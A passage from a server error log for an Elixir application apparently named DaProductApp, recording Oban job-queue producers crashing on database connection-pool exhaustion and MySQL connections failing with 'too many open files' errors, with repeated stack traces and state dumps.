State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:35:27.247716Z], limit: 20, uuid: "704327df-8fee-40e0-927e-f91988d7db3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.247723Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.253223>, refresh_timer: #Reference<0.2525715032.1068498948.18465>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:35:27.242840Z], limit: 3, uuid: "308272ee-df7c-47f8-a464-7c555f51a470", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.242847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18481>, refresh_timer: #Reference<0.2525715032.1121189889.124133>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:35:27.244467Z], limit: 5, uuid: "d48d7e74-23d6-4b00-ae42-7d9bf74d0913", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.244473Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18480>, refresh_timer: #Reference<0.2525715032.1068498948.18454>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:35:27.248175Z], limit: 50, uuid: "d7b5fd75-116f-4453-a54e-6fd166b6d64b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:27.248181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18482>, refresh_timer: #Reference<0.2525715032.1099431938.23494>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:40.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:42.776000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:43.083000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:44.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:44.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:46.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:46.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:47.216000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:50.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:35:39.238079Z], limit: 5, uuid: "6df65ae0-e658-45fd-88e5-cf5913a511fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.238085Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18833>, refresh_timer: #Reference<0.2525715032.1099431938.23538>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:35:39.240743Z], limit: 20, uuid: "35be5b22-4752-468b-8b03-850ef718ac29", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.240749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18831>, refresh_timer: #Reference<0.2525715032.1099431938.23531>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:35:39.246158Z], limit: 50, uuid: "5324831b-86bb-4c0b-8d9a-06386b80cb7c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.246164Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18835>, refresh_timer: #Reference<0.2525715032.1077411843.253380>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:35:39.241337Z], limit: 3, uuid: "8049661f-7f59-486c-ab02-4dc8a3a61b72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.241342Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18834>, refresh_timer: #Reference<0.2525715032.1099431938.23563>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:51.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:35:39.242629Z], limit: 5, uuid: "b7e4398a-8603-43b4-9565-94347f56e242", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:35:39.242635Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.18830>, refresh_timer: #Reference<0.2525715032.1068498948.18815>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
